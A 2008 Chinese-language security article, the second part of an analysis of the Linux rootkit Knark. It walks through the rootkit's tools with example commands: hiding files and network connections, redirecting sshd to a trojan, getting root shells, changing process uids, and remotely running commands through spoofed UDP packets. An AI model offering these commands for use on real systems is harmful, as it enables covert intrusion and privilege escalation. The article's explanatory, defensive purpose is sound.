科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网网络频道Rootkit入侵工具Knark分析及防范(2)

Rootkit入侵工具Knark分析及防范(2)

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

Linux环境下攻击者入侵成功以后常常使用的一些后门技术,rootkit就是代表之一,本文对著名的knark进行了详细的分析,使用户认清rootkit的威胁及防护……

作者:论坛整理 来源:zdnet网络安全 2008年1月11日

关键字: 入侵工具 rootkit Knark

  • 评论
  • 分享微博
  • 分享邮件
Knark软件包的安装和使用

该软件包的核心软件是knark,c,它是一个Linux LKM(loadable kernel-module)。运行命令"make"来编译knark软件包,通过"insmod knark"命令来加载该模块。当knark被加载,隐藏目录/proc/knark被创建,该目录下将包含以下文件:

author 作者自我介绍

files 系统中隐藏文件列表

nethides 在/proc/net/[tcp udp]隐藏的字符串

pids 被隐藏的pids列表,格式类似于ps命令输出

redirects 被重定向的可执行程序入口列表

该软件包编译以后将有下面这些工具软件(它们都依赖于被加载的模块knark.o。除了taskhack.c,其用于直接修改/dev/kmem)

hidef 用于在系统中隐藏文件

在/usr/lib目录下创建子目录hax0r,然后运行命令"./hidef /usr/lib/.hax0r",则该目录会被隐藏,"ls"或"du"等命令都不能显示该目录及其子目录。

unhidef 用来恢复被隐藏的文件

你可以通过访问"cat /proc/knark/files"来察看你隐藏了哪些文件。通过"./unhidef /usr/lib/.hax0r"命令来解除对隐藏文件的隐藏。但是这里有个小小的bug,使得被隐藏的目录在/proc/knark/files中显示的是其加载开始的路径,也就是说如果系统有一个文件系统加载在/mnt,你隐藏了/mnt/secret,则在/proc/knark/files中显示的被隐藏的目录为/secret。因此不会影响根文件被隐藏的目录。

ered 用来配置重定向程序的执行

拷贝特洛伊木马版本的sshd为/usr/lib/.hax0r/sshd_trojan,然后运行"./ered /usr/local/sbin/sshd /usr/lib/.hax0r/sshd_trojan",这样当/usr/local/sbin/sshd被运行时,实际上运行的特洛伊木马版本的sshd。可以通过命令./ered -c来清楚所有的可执行程序重定向。

nethide 用来隐藏/proc/net/tcp和/proc/net/udp中的某些字符串

netstat命令就不会得到指定的链接信息。通过命令/nethide ":ABCD "可以隐藏和端口号ABCD(十六进制)相关的连接(43981 dec)。也就是对/proc/net/[tcp udp]读取时进行"grep -v"操作。

你必需理解使用该程序从/proc/net/[tcp udp]得到的输出的意义。假设系统运行有sshd,那么连接到本地22端口以后,运行"netstat -at",则输出可能包含:

Proto Recv-Q Send-Q Local Address Foreign Address State

tcp 0 0 localhost:ssh localhost:1023 ESTABLISHED

现在我们来检测文件/proc/net/tcp:

cat /proc/net/tcp

则输出可能包含入下内容:

local_address rem_address blablabla...

0:0100007F:0016 0100007F:03FF 01 00000000:00000000 00:00000000 00000000

若我们希望隐藏和地址127.0.0.1相关的任何信息,我们必须使用如上面所示的十六进制的格式。因此如果希望隐藏地址127.0.0.1的22号端口相关的内容就要使用0100007F:0016来标识该链接。因此

./nethide "0100007F:0016"

将隐藏to/from localhost:22相关的链接信息。

./nethide ":ABCD "

来去除隐藏。

rootme 用来实现非特权用户获得root访问权限

./rootme /bin/sh

就可以实现以root身份运行/bin/sh。

./rootme /bin/ls -l /root

则是仅仅以root身份运行单个命令。

taskhack 用来改变某个运行着的进程的uid和gid

./taskhack -alluid=0 pid

该命令将进程pid的所有*uid's (uid, euid, suid, fsuid)为0 (root).

ps aux   grep bash

creed 91 0.0 1.3 1424 824 1 S 15:31 0:00 -bash

现在来改变该进程的euid为0:

./taskhack -euid=0 91

ps aux   grep bash

root (!) 91 0.0 1.3 1424 824 1 S 15:31 0:00 -bash

rexec 用来远程执行knark-server的命令:

./rexec www.microsoft.com haxored.server.nu /bin/touch /LUDER

这命令将从www.microsoft.com:53发送一个伪装的udp数据包到 haxored.server.nu:53,来运行haxored.server.nu的命令"/bin/touch /LUDER"

入侵者入侵以后往往将knark的各种工具存放在/dev/某个子目录下创建的隐藏子目录,如/dev/.ida/.knard等等。

    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章